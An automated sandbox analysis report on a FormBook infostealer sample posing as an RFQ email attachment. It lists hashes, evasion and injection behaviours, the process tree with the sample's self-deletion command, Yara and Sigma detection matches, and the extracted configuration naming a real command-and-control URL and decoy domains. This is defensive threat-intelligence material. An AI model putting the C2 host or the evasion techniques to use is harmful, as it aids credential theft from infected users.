Play interactive tour

Edit tour

Analysis Report RE; KOC RFQ for Flangers - RFQ 22965431.exe

Overview

General Information

Sample Name:	RE; KOC RFQ for Flangers - RFQ 22965431.exe
Analysis ID:	426977
MD5:	885d94826eaa427258e85a7aaed9e3d8
SHA1:	9844b3b7f7f4ab9ff52cffc1bcdd17aac8a5c907
SHA256:	0128dcf3bcd255f622b36968f61b8b69efcddd6c3913c0694d75e1ec81bea378
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Sigma detected: CMSTP Execution Process Creation

Tries to detect virtualization through RDTSC time measurements

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected potential crypto function

Drops PE files

Enables debug privileges

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a Windows Living Off The Land Binaries (LOL bins)

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

RE; KOC RFQ for Flangers - RFQ 22965431.exe (PID: 6960 cmdline: 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe' MD5: 885D94826EAA427258E85A7AAED9E3D8)

RE; KOC RFQ for Flangers - RFQ 22965431.exe (PID: 6992 cmdline: 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe' MD5: 885D94826EAA427258E85A7AAED9E3D8)

explorer.exe (PID: 3424 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

cmstp.exe (PID: 4768 cmdline: C:\Windows\SysWOW64\cmstp.exe MD5: 4833E65ED211C7F118D4A11E6FB58A09)

cmd.exe (PID: 6788 cmdline: /c del 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.yunastone.com/u6e4/"], "decoy": ["seospecialised.com", "acrostuttgart.com", "tbluedotpanowdshop.com", "holleyjohnson.net", "kimloc.com", "he693thm166.com", "dahumblehustla.com", "cestsansgluten.net", "woxingame.com", "worldleadersretail.com", "esmcharts.com", "lovelivehuntingtonbeach.com", "komorebi-id.com", "blissburg.site", "businessloansug.com", "willorv.com", "nordsyron.com", "katebrighton.com", "sweet999.com", "antimicrobialkiosk.com", "zpokasil.com", "teengen.today", "cindyshairofdistinction.com", "prpdigital.com", "svenskagourmet.com", "forloveofwords.com", "wequassettacademy.com", "player0.xyz", "onlyheat.net", "fortrestpool.com", "wonderyearsplayschool.com", "lkrefkldklerfkklef.com", "oran-id101.club", "parentue.com", "skincarezwolle.com", "letsq.info", "sprtncloud.com", "pfg-aero.com", "yoperro.net", "meetzeedzaab.com", "xn--80aeingrcwdeeaee.xn--p1acf", "betterglazing.com", "postingyourvideos.com", "detegelboer.com", "monroesbowtique.com", "brisswicks.com", "ethnicbucket.com", "jackgaughan.net", "nuskinhk.com", "zgwljypx.com", "getemcooking.com", "metime1111.com", "2bluepigs.com", "yourcreativeconsultantgroup.com", "blinbins.com", "ruckfree.com", "mikerack.com", "downtoearthwork.com", "uxdnxodpo.icu", "lilycartoons.com", "yihetubu.com", "digho.online", "sigsauerheadquarters.com", "worldhookupguides.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x5695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x5797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x590f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x43fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xb82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x76b9:$sqlite3step: 68 34 1C 7B E1 0x77cc:$sqlite3step: 68 34 1C 7B E1 0x76e8:$sqlite3text: 68 38 2A 90 C5 0x780d:$sqlite3text: 68 38 2A 90 C5 0x76fb:$sqlite3blob: 68 53 D8 7F 8C 0x7823:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 13 entries

Sigma Overview

System Summary:

Sigma detected: CMSTP Execution Process Creation

Show sources

Source: Process started

Author: Nik Seetharaman: Data: Command: /c del 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe', CommandLine: /c del 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe', CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\SysWOW64\cmstp.exe, ParentImage: C:\Windows\SysWOW64\cmstp.exe, ParentProcessId: 4768, ProcessCommandLine: /c del 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe', ProcessId: 6788

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp

